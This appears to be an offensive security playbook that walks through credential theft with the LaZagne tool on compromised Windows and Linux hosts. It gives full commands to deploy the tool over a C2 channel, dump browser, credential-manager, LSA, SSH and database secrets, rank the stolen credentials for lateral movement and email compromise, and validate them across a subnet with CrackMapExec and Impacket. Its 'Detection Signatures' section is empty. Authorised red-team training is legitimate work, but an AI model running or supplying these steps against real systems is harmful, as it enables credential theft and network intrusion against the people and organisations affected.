Performing Credential Access With Lazagne

Objectives

• Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
• Extract credentials from all supported password stores
• Parse and prioritize recovered credentials for lateral movement
• Identify high-value credentials (domain admin, service accounts, cloud access)
• Document credential harvesting results with appropriate evidence handling
• Correlate recovered credentials with BloodHound attack paths

MITRE ATT&CK Mapping

• T1555 - Credentials from Password Stores
• T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
• T1555.004 - Credentials from Password Stores: Windows Credential Manager
• T1552.001 - Unsecured Credentials: Credentials In Files
• T1552.002 - Unsecured Credentials: Credentials in Registry
• T1003.004 - OS Credential Dumping: LSA Secrets
• T1539 - Steal Web Session Cookie

Workflow

Phase 1: LaZagne Deployment

1. Transfer LaZagne to the compromised host:

   # Pre-compiled executable (Windows)
   # Transfer lazagne.exe via C2 channel or file upload
   
   # Python version (requires Python on target)
   git clone https://github.com/AlessandroZ/LaZagne.git
   cd LaZagne
   pip install -r requirements.txt
   

2. Verify execution capability and privileges:

   # Check current user context
   whoami /priv
   
   # LaZagne works with standard user privileges for user-level stores
   # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
   

Phase 2: Full Credential Extraction (Windows)

1. Run LaZagne with all modules:

   # Extract all credentials
   lazagne.exe all
   
   # Export results to JSON
   lazagne.exe all -oJ
   
   # Export results to specific file
   lazagne.exe all -oJ -output C:\Temp\creds
   

2. Run specific modules for targeted extraction:

   # Browsers only (Chrome, Firefox, Edge, Opera, IE)
   lazagne.exe browsers
   
   # Windows credential stores
   lazagne.exe windows
   
   # Database credentials
   lazagne.exe databases
   
   # Email client credentials
   lazagne.exe mails
   
   # Wi-Fi passwords
   lazagne.exe wifi
   
   # Git credentials
   lazagne.exe git
   
   # System credentials (requires elevated privileges)
   lazagne.exe sysadmin
   

Phase 3: Credential Extraction (Linux)

1. Run LaZagne on Linux targets:

   # Full extraction
   python3 laZagne.py all
   
   # Browser credentials
   python3 laZagne.py browsers
   
   # System credentials (SSH keys, shadow file with root)
   python3 laZagne.py sysadmin
   
   # Database credentials
   python3 laZagne.py databases
   
   # Git credentials
   python3 laZagne.py git
   

Phase 4: Credential Analysis and Prioritization

1. Parse JSON output for unique credentials:

   import json
   with open("creds.json") as f:
       results = json.load(f)
   for module in results:
       for entry in module.get("results", []):
           print(f"Source: {entry.get('Category')}")
           print(f"  User: {entry.get('Login', 'N/A')}")
           print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
   

2. Prioritize credentials by value:
   • Domain credentials (AD accounts) for lateral movement
   • Cloud service credentials (AWS, Azure, GCP console)
   • VPN and remote access credentials
   • Database credentials for data access
   • Email credentials for business email compromise
   • Service account credentials for privilege escalation

Phase 5: Credential Validation and Use

1. Validate recovered domain credentials:

   # Test domain credentials with CrackMapExec
   crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
   
   # Test with Impacket
   smbclient.py domain.local/user:'password'@10.10.10.1
   

2. Cross-reference with BloodHound paths for high-value targets
3. Use recovered credentials for lateral movement or privilege escalation

Tools and Resources

LaZagne Module Coverage (Windows)

Detection Signatures

Validation Criteria

• LaZagne deployed on compromised endpoint
• Full credential extraction completed (all modules)
• Credentials exported in JSON format for analysis
• Recovered credentials parsed and deduplicated
• High-value credentials identified and prioritized
• Domain credentials validated against AD
• Lateral movement opportunities identified from recovered creds
• Evidence documented with appropriate handling procedures